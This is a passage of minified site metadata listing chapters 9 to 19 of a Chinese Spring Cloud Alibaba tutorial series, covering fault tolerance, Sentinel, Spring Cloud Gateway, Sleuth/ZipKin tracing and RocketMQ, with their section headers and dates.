冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"本文重在介绍服务容错:服务雪崩与容错方案",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第09章:服务雪崩与容错方案"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-04-28-SA%E5%AE%9E%E6%88%98-%E7%AC%AC9%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99-%E6%9C%8D%E5%8A%A1%E9%9B%AA%E5%B4%A9%E4%B8%8E%E5%AE%B9%E9%94%99%E6%96%B9%E6%A1%88.html"},{name:"twitter:title",content:"第09章:服务雪崩与容错方案"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-04-28-SA%E5%AE%9E%E6%88%98-%E7%AC%AC9%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99-%E6%9C%8D%E5%8A%A1%E9%9B%AA%E5%B4%A9%E4%B8%8E%E5%AE%B9%E9%94%99%E6%96%B9%E6%A1%88.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-04-28-SA%E5%AE%9E%E6%88%98-%E7%AC%AC9%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99-%E6%9C%8D%E5%8A%A1%E9%9B%AA%E5%B4%A9%E4%B8%8E%E5%AE%B9%E9%94%99%E6%96%B9%E6%A1%88.html",relativePath:"md/microservices/springcloudalibaba/2022-04-28-SA实战-第9章-服务容错-服务雪崩与容错方案.md",key:"v-09bf13ee",path:"/md/microservices/springcloudalibaba/2022-04-28-SA%E5%AE%9E%E6%88%98-%E7%AC%AC9%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99-%E6%9C%8D%E5%8A%A1%E9%9B%AA%E5%B4%A9%E4%B8%8E%E5%AE%B9%E9%94%99%E6%96%B9%E6%A1%88.html",headers:[{level:2,title:"并发对系统的影响",slug:"并发对系统的影响"},{level:3,title:"压测说明",slug:"压测说明"},{level:3,title:"压测实战",slug:"压测实战"},{level:2,title:"服务雪崩",slug:"服务雪崩"},{level:2,title:"服务容错方案",slug:"服务容错方案"},{level:3,title:"服务限流",slug:"服务限流"},{level:3,title:"服务隔离",slug:"服务隔离"},{level:3,title:"服务超时",slug:"服务超时"},{level:3,title:"服务熔断",slug:"服务熔断"},{level:3,title:"服务降级",slug:"服务降级"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第10章:项目整合Sentinel实现限流与容错",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第10章:项目整合Sentinel实现限流与容错",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第10章-服务容错:项目整合Sentinel实现限流与容错",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第10章:项目整合Sentinel实现限流与容错"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-03-SA%E5%AE%9E%E6%88%98-%E7%AC%AC10%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99-Fegin%E6%95%B4%E5%90%88Sentinel.html"},{name:"twitter:title",content:"第10章:项目整合Sentinel实现限流与容错"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-03-SA%E5%AE%9E%E6%88%98-%E7%AC%AC10%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99-Fegin%E6%95%B4%E5%90%88Sentinel.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-03-SA%E5%AE%9E%E6%88%98-%E7%AC%AC10%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99-Fegin%E6%95%B4%E5%90%88Sentinel.html",relativePath:"md/microservices/springcloudalibaba/2022-05-03-SA实战-第10章-服务容错-Fegin整合Sentinel.md",key:"v-d1b725c6",path:"/md/microservices/springcloudalibaba/2022-05-03-SA%E5%AE%9E%E6%88%98-%E7%AC%AC10%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99-Fegin%E6%95%B4%E5%90%88Sentinel.html",headers:[{level:2,title:"文章总览",slug:"文章总览"},{level:2,title:"章节概述",slug:"章节概述"},{level:2,title:"关于Sentinel",slug:"关于sentinel"},{level:3,title:"Sentinel的特征",slug:"sentinel的特征"},{level:3,title:"Sentinel的主要特性",slug:"sentinel的主要特性"},{level:3,title:"Sentinel的开源生态",slug:"sentinel的开源生态"},{level:2,title:"项目整合Sentinel",slug:"项目整合sentinel"},{level:3,title:"安装Sentinel控制台",slug:"安装sentinel控制台"},{level:3,title:"项目集成Sentinel",slug:"项目集成sentinel"},{level:3,title:"集成Sentinel限流功能",slug:"集成sentinel限流功能"},{level:3,title:"对提交订单的接口限流",slug:"对提交订单的接口限流"},{level:2,title:"Feign整合Sentinel实现容错",slug:"feign整合sentinel实现容错"},{level:3,title:"添加依赖并开启支持",slug:"添加依赖并开启支持"},{level:3,title:"为远程调用实现容错",slug:"为远程调用实现容错"},{level:3,title:"测试服务容错",slug:"测试服务容错"},{level:2,title:"容错扩展",slug:"容错扩展"},{level:3,title:"实现容错时获取异常",slug:"实现容错时获取异常"},{level:3,title:"测试服务容错",slug:"测试服务容错-2"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第11章:Sentinel核心技术与配置规则(最全使用教程)",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第11章:Sentinel核心技术与配置规则(最全使用教程)",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"文章有点长呀,小伙伴们耐心看完,并跟着实操每一个案例,相信你一定会对Sentinel有一个全新的认识。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第11章:Sentinel核心技术与配置规则(最全使用教程)"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-05-SA%E5%AE%9E%E6%88%98-%E7%AC%AC11%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99%E5%8A%A0%E9%A4%90-Sentinel%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF%E4%B8%8E%E9%85%8D%E7%BD%AE%E8%A7%84%E5%88%99.html"},{name:"twitter:title",content:"第11章:Sentinel核心技术与配置规则(最全使用教程)"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-05-SA%E5%AE%9E%E6%88%98-%E7%AC%AC11%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99%E5%8A%A0%E9%A4%90-Sentinel%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF%E4%B8%8E%E9%85%8D%E7%BD%AE%E8%A7%84%E5%88%99.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-05-SA%E5%AE%9E%E6%88%98-%E7%AC%AC11%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99%E5%8A%A0%E9%A4%90-Sentinel%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF%E4%B8%8E%E9%85%8D%E7%BD%AE%E8%A7%84%E5%88%99.html",relativePath:"md/microservices/springcloudalibaba/2022-05-05-SA实战-第11章-服务容错加餐-Sentinel核心技术与配置规则.md",key:"v-6a1d09db",path:"/md/microservices/springcloudalibaba/2022-05-05-SA%E5%AE%9E%E6%88%98-%E7%AC%AC11%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E5%AE%B9%E9%94%99%E5%8A%A0%E9%A4%90-Sentinel%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF%E4%B8%8E%E9%85%8D%E7%BD%AE%E8%A7%84%E5%88%99.html",headers:[{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"Sentinel核心功能",slug:"sentinel核心功能"},{level:3,title:"流量控制",slug:"流量控制"},{level:3,title:"熔断降级",slug:"熔断降级"},{level:3,title:"系统负载保护",slug:"系统负载保护"},{level:2,title:"Sentinel核心规则",slug:"sentinel核心规则"},{level:2,title:"流控规则",slug:"流控规则"},{level:3,title:"簇点链路规则",slug:"簇点链路规则"},{level:3,title:"配置简单限流",slug:"配置简单限流"},{level:3,title:"配置流控模式",slug:"配置流控模式"},{level:2,title:"熔断规则",slug:"熔断规则"},{level:3,title:"熔断规则概述",slug:"熔断规则概述"},{level:3,title:"演示基于慢调用比例熔断",slug:"演示基于慢调用比例熔断"},{level:3,title:"演示基于异常比例熔断",slug:"演示基于异常比例熔断"},{level:3,title:"演示基于异常数熔断",slug:"演示基于异常数熔断"},{level:2,title:"热点规则",slug:"热点规则"},{level:3,title:"热点规则概述",slug:"热点规则概述"},{level:3,title:"演示热点规则",slug:"演示热点规则"},{level:3,title:"演示热点高级选项规则",slug:"演示热点高级选项规则"},{level:2,title:"授权规则",slug:"授权规则"},{level:3,title:"授权规则概述",slug:"授权规则概述"},{level:3,title:"演示授权规则",slug:"演示授权规则"},{level:2,title:"系统规则",slug:"系统规则"},{level:3,title:"系统规则概述",slug:"系统规则概述"},{level:3,title:"演示系统规则",slug:"演示系统规则"},{level:2,title:"@SentinelResource注解",slug:"sentinelresource注解"},{level:3,title:"@SentinelResource注解概述",slug:"sentinelresource注解概述"},{level:3,title:"演示@SentinelResource注解",slug:"演示-sentinelresource注解"},{level:2,title:"Sentinel持久化",slug:"sentinel持久化"},{level:3,title:"Sentinel持久化概述",slug:"sentinel持久化概述"},{level:3,title:"实现Sentinel的持久化",slug:"实现sentinel的持久化"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第12章:网关概述与核心架构",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第12章:网关概述与核心架构",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第12章-服务网关:网关概述与核心架构",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第12章:网关概述与核心架构"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-08-SA%E5%AE%9E%E6%88%98-%E7%AC%AC12%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-%E7%BD%91%E5%85%B3%E6%A6%82%E8%BF%B0%E4%B8%8E%E6%A0%B8%E5%BF%83%E6%9E%B6%E6%9E%84.html"},{name:"twitter:title",content:"第12章:网关概述与核心架构"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-08-SA%E5%AE%9E%E6%88%98-%E7%AC%AC12%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-%E7%BD%91%E5%85%B3%E6%A6%82%E8%BF%B0%E4%B8%8E%E6%A0%B8%E5%BF%83%E6%9E%B6%E6%9E%84.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-08-SA%E5%AE%9E%E6%88%98-%E7%AC%AC12%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-%E7%BD%91%E5%85%B3%E6%A6%82%E8%BF%B0%E4%B8%8E%E6%A0%B8%E5%BF%83%E6%9E%B6%E6%9E%84.html",relativePath:"md/microservices/springcloudalibaba/2022-05-08-SA实战-第12章-服务网关-网关概述与核心架构.md",key:"v-d71bc0e2",path:"/md/microservices/springcloudalibaba/2022-05-08-SA%E5%AE%9E%E6%88%98-%E7%AC%AC12%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-%E7%BD%91%E5%85%B3%E6%A6%82%E8%BF%B0%E4%B8%8E%E6%A0%B8%E5%BF%83%E6%9E%B6%E6%9E%84.html",headers:[{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"网关概述",slug:"网关概述"},{level:3,title:"没有网关的弊端",slug:"没有网关的弊端"},{level:3,title:"引入API网关",slug:"引入api网关"},{level:2,title:"主流的API网关",slug:"主流的api网关"},{level:3,title:"Nginx+Lua",slug:"nginx-lua"},{level:3,title:"Kong网关",slug:"kong网关"},{level:3,title:"Zuul网关",slug:"zuul网关"},{level:3,title:"Apache Shenyu网关",slug:"apache-shenyu网关"},{level:3,title:"SpringCloud Gateway网关",slug:"springcloud-gateway网关"},{level:2,title:"SpringCloud Gateway网关",slug:"springcloud-gateway网关-2"},{level:3,title:"SpringCloud Gateway概述",slug:"springcloud-gateway概述"},{level:3,title:"SpringCloud Gateway核心架构",slug:"springcloud-gateway核心架构"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第13章:项目整合SpringCloud Gateway网关",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第13章:项目整合SpringCloud Gateway网关",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第13章-服务网关:项目整合SpringCloud Gateway网关",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第13章:项目整合SpringCloud Gateway网关"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-08-SA%E5%AE%9E%E6%88%98-%E7%AC%AC13%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88SpringCloudGateway.html"},{name:"twitter:title",content:"第13章:项目整合SpringCloud Gateway网关"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-08-SA%E5%AE%9E%E6%88%98-%E7%AC%AC13%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88SpringCloudGateway.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-08-SA%E5%AE%9E%E6%88%98-%E7%AC%AC13%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88SpringCloudGateway.html",relativePath:"md/microservices/springcloudalibaba/2022-05-08-SA实战-第13章-服务网关-项目整合SpringCloudGateway.md",key:"v-e4d56678",path:"/md/microservices/springcloudalibaba/2022-05-08-SA%E5%AE%9E%E6%88%98-%E7%AC%AC13%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88SpringCloudGateway.html",headers:[{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"章节概述",slug:"章节概述"},{level:2,title:"项目整合网关",slug:"项目整合网关"},{level:3,title:"新建网关模块",slug:"新建网关模块"},{level:3,title:"初步整合SpringCloud Gateway",slug:"初步整合springcloud-gateway"},{level:3,title:"网关整合Nacos",slug:"网关整合nacos"},{level:3,title:"网关整合Nacos最简配置",slug:"网关整合nacos最简配置"},{level:2,title:"网关整合Sentinel限流",slug:"网关整合sentinel限流"},{level:3,title:"实现route维度限流",slug:"实现route维度限流"},{level:3,title:"实现自定义API分组维度限流",slug:"实现自定义api分组维度限流"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第14章:SpringCloud Gateway核心技术",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第14章:SpringCloud Gateway核心技术",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第14章-服务网关加餐:SpringCloud Gateway核心技术",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第14章:SpringCloud Gateway核心技术"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-10-SA%E5%AE%9E%E6%88%98-%E7%AC%AC14%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-SpringCloudGateway%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF.html"},{name:"twitter:title",content:"第14章:SpringCloud Gateway核心技术"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-10-SA%E5%AE%9E%E6%88%98-%E7%AC%AC14%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-SpringCloudGateway%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-10-SA%E5%AE%9E%E6%88%98-%E7%AC%AC14%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-SpringCloudGateway%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF.html",relativePath:"md/microservices/springcloudalibaba/2022-05-10-SA实战-第14章-服务网关-SpringCloudGateway核心技术.md",key:"v-6c386d60",path:"/md/microservices/springcloudalibaba/2022-05-10-SA%E5%AE%9E%E6%88%98-%E7%AC%AC14%E7%AB%A0-%E6%9C%8D%E5%8A%A1%E7%BD%91%E5%85%B3-SpringCloudGateway%E6%A0%B8%E5%BF%83%E6%8A%80%E6%9C%AF.html",headers:[{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"本章概述",slug:"本章概述"},{level:2,title:"网关断言",slug:"网关断言"},{level:3,title:"SpringCloud Gateway内置断言",slug:"springcloud-gateway内置断言"},{level:3,title:"演示内置断言",slug:"演示内置断言"},{level:3,title:"自定义断言",slug:"自定义断言"},{level:2,title:"网关过滤器",slug:"网关过滤器"},{level:3,title:"局部过滤器",slug:"局部过滤器"},{level:3,title:"全局过滤器",slug:"全局过滤器"},{level:2,title:"网关熔断机制",slug:"网关熔断机制"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第15章:核心原理与解决方案",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第15章:核心原理与解决方案",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第15章-链路追踪:核心原理与解决方案",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第15章:核心原理与解决方案"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-11-SA%E5%AE%9E%E6%88%98-%E7%AC%AC15%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-%E6%A0%B8%E5%BF%83%E5%8E%9F%E7%90%86%E4%B8%8E%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88.html"},{name:"twitter:title",content:"第15章:核心原理与解决方案"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-11-SA%E5%AE%9E%E6%88%98-%E7%AC%AC15%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-%E6%A0%B8%E5%BF%83%E5%8E%9F%E7%90%86%E4%B8%8E%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-11-SA%E5%AE%9E%E6%88%98-%E7%AC%AC15%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-%E6%A0%B8%E5%BF%83%E5%8E%9F%E7%90%86%E4%B8%8E%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88.html",relativePath:"md/microservices/springcloudalibaba/2022-05-11-SA实战-第15章-链路追踪-核心原理与解决方案.md",key:"v-beb6b16a",path:"/md/microservices/springcloudalibaba/2022-05-11-SA%E5%AE%9E%E6%88%98-%E7%AC%AC15%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-%E6%A0%B8%E5%BF%83%E5%8E%9F%E7%90%86%E4%B8%8E%E8%A7%A3%E5%86%B3%E6%96%B9%E6%A1%88.html",headers:[{level:2,title:"本章概述",slug:"本章概述"},{level:2,title:"分布式链路追踪",slug:"分布式链路追踪"},{level:2,title:"核心原理",slug:"核心原理"},{level:2,title:"解决方案",slug:"解决方案"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第16章:项目整合Sleuth实现链路追踪",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第16章:项目整合Sleuth实现链路追踪",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第16章-链路追踪:项目整合Sleuth实现链路追踪",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第16章:项目整合Sleuth实现链路追踪"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-12-SA%E5%AE%9E%E6%88%98-%E7%AC%AC16%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Sleuth%E5%AE%9E%E7%8E%B0%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA.html"},{name:"twitter:title",content:"第16章:项目整合Sleuth实现链路追踪"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-12-SA%E5%AE%9E%E6%88%98-%E7%AC%AC16%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Sleuth%E5%AE%9E%E7%8E%B0%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-12-SA%E5%AE%9E%E6%88%98-%E7%AC%AC16%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Sleuth%E5%AE%9E%E7%8E%B0%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA.html",relativePath:"md/microservices/springcloudalibaba/2022-05-12-SA实战-第16章-链路追踪-项目整合Sleuth实现链路追踪.md",key:"v-8128e79a",path:"/md/microservices/springcloudalibaba/2022-05-12-SA%E5%AE%9E%E6%88%98-%E7%AC%AC16%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88Sleuth%E5%AE%9E%E7%8E%B0%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA.html",headers:[{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"Sleuth概述",slug:"sleuth概述"},{level:3,title:"Span简介",slug:"span简介"},{level:3,title:"Trace简介",slug:"trace简介"},{level:3,title:"Annotation简介",slug:"annotation简介"},{level:2,title:"项目整合Sleuth",slug:"项目整合sleuth"},{level:3,title:"最简使用",slug:"最简使用"},{level:3,title:"抽样采集数据",slug:"抽样采集数据"},{level:3,title:"追踪自定义线程池",slug:"追踪自定义线程池"},{level:3,title:"自定义链路过滤器",slug:"自定义链路过滤器"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第17章:Sleuth整合ZipKin",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第17章:Sleuth整合ZipKin",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第17章-链路追踪:Sleuth整合ZipKin",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第17章:Sleuth整合ZipKin"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-13-SA%E5%AE%9E%E6%88%98-%E7%AC%AC17%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-Sleuth%E6%95%B4%E5%90%88ZipKin.html"},{name:"twitter:title",content:"第17章:Sleuth整合ZipKin"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-13-SA%E5%AE%9E%E6%88%98-%E7%AC%AC17%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-Sleuth%E6%95%B4%E5%90%88ZipKin.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-13-SA%E5%AE%9E%E6%88%98-%E7%AC%AC17%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-Sleuth%E6%95%B4%E5%90%88ZipKin.html",relativePath:"md/microservices/springcloudalibaba/2022-05-13-SA实战-第17章-链路追踪-Sleuth整合ZipKin.md",key:"v-1c53e24e",path:"/md/microservices/springcloudalibaba/2022-05-13-SA%E5%AE%9E%E6%88%98-%E7%AC%AC17%E7%AB%A0-%E9%93%BE%E8%B7%AF%E8%BF%BD%E8%B8%AA-Sleuth%E6%95%B4%E5%90%88ZipKin.html",headers:[{level:2,title:"本章总览",slug:"本章总览"},{level:2,title:"本章概述",slug:"本章概述"},{level:2,title:"ZipKin核心架构",slug:"zipkin核心架构"},{level:3,title:"ZipKin概述",slug:"zipkin概述"},{level:3,title:"ZipKin核心架构",slug:"zipkin核心架构-2"},{level:2,title:"项目整合ZipKin",slug:"项目整合zipkin"},{level:3,title:"下载安装ZipKin服务端",slug:"下载安装zipkin服务端"},{level:3,title:"项目整合ZipKin客户端",slug:"项目整合zipkin客户端"},{level:2,title:"ZipKin数据持久化",slug:"zipkin数据持久化"},{level:3,title:"ZipKin数据持久化到MySQL",slug:"zipkin数据持久化到mysql"},{level:3,title:"ZipKin数据持久化到ElasticSearch",slug:"zipkin数据持久化到elasticsearch"},{level:2,title:"关于星球",slug:"关于星球"},{level:3,title:"星球提供的服务",slug:"星球提供的服务"},{level:3,title:"星球门票价格",slug:"星球门票价格"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"第19章:项目整合RocketMQ",frontmatter:{layout:"post",category:"binghe-code-springcloudalibaba",title:"第19章:项目整合RocketMQ",tagline:"by 冰河",tag:["springcloud","springcloudalibaba","binghe-code-springcloudalibaba"],excerpt:"SA实战 ·《SpringCloud Alibaba实战》第19章-消息服务:项目整合RocketMQ",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"第19章:项目整合RocketMQ"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/microservices/springcloudalibaba/2022-05-18-SA%E5%AE%9E%E6%88%98-%E7%AC%AC19%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88RocketMQ.html"},{name:"twitter:title",content:"第19章:项目整合RocketMQ"},{name:"twitter:url",content:"/md/microservices/springcloudalibaba/2022-05-18-SA%E5%AE%9E%E6%88%98-%E7%AC%AC19%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-%E9%A1%B9%E7%9B%AE%E6%95%B4%E5%90%88RocketMQ.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/microservices/springcloudalibaba/2022-05-18-SA%E5%AE%9E%E6%88%98-%E7%AC%AC19%E7%AB%A0-%E6%B6%88%E6%81%AF%E6%9C%8D%E5%8A%A1-%E9%A1%B9%E7%9B%